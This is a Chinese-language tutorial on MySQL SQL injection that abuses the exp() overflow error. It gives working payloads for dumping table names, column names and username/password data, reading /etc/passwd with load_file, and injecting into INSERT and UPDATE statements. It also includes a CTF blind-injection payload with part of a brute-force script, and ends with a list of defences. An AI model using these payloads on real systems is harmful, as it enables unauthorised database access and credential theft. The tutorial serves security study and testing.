如何使用 MySQL exp() 函数进行 Sql 注入
字数 827 2025-08-05 08:19:29
MySQL exp() 函数在SQL注入中的应用
前言
MySQL中的EXP()函数可以用于SQL注入攻击,特别是在报错注入和盲注场景中。本文将详细介绍如何利用exp()函数进行SQL注入攻击,包括原理、方法和实际案例。
MySQL exp() 函数基础
EXP()函数用于将自然对数底数E(约2.718281)提升为指定数字X的幂:
EXP(X)
示例:
mysql> select exp(3);
+--------------------+
| exp(3) |
+--------------------+
| 20.085536923187668 |
+--------------------+
exp()函数在报错注入中的应用
原理
MySQL能记录的Double数值范围有限,当exp()函数的参数超过709时,会导致溢出错误:
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
利用方法
-
使用按位取反运算符(~)生成大数:
mysql> select ~(select version()); +----------------------+ | ~(select version()) | +----------------------+ | 18446744073709551610 | +----------------------+ -
结合exp()函数获取数据:
mysql> select exp(~(select * from(select version())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'
实际利用示例
-
获取表名:
select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())x)); -
获取列名:
select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name='users')x)); -
检索数据:
select exp(~ (select*from(select group_concat(id, 0x7c, username, 0x7c, password) from users)x)); -
读取文件(有13行的限制):
select exp(~(select * from(select load_file('/etc/passwd'))x)); -
批量获取所有表和列:
select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));
在INSERT和UPDATE语句中的注入
INSERT注入
原始语句:
insert into users(id,username,password) values(4,'john','679237');
注入方式:
insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1)#','679237');
UPDATE注入
原始语句:
update users set password='new_value' WHERE username = 'admin';
注入方式:
update users set password='abc' or exp(~(select * from(select user())x))# WHERE username = 'admin';
exp()函数在盲注中的应用
原理
利用exp()函数的溢出特性构造条件判断:
||exp(710-(条件表达式))
- 如果条件为真(1),则执行exp(709)不报错
- 如果条件为假(0),则执行exp(710)报错
实际案例:2021虎符杯CTF Finalweb Hatenum
-
题目特点:
- 过滤严格(union, select, or, and, 引号, 空格等)
- 允许使用反斜杠(\)
- 密码字段限制4字符
-
绕过方法:
- 使用反斜杠转义引号
- 使用rlike进行正则匹配
- 使用exp()构造盲注条件
-
注入payload:
payload = '||exp(710-(code rlike binary {0}))#' -
爆破脚本关键部分:
def str2hex(string): result = '' for i in string: result += hex(ord(i)) result = result.replace('0x', '') return '0x' + result payloads = payload.format(passwd).replace(' ',chr(0x0c)) postdata = { 'username': 'admin\\', 'password': payloads, 'code': '1' }
防御措施
- 使用预处理语句(Prepared Statements)
- 严格过滤特殊字符
- 限制数据库错误信息输出
- 使用最小权限原则
- 定期更新数据库版本
总结
exp()函数注入是一种有效的MySQL注入技术,特别适用于报错注入和盲注场景。了解这种技术有助于安全人员更好地评估系统安全性并采取相应防护措施。在实际渗透测试中,需要根据目标环境的具体限制灵活调整注入方法。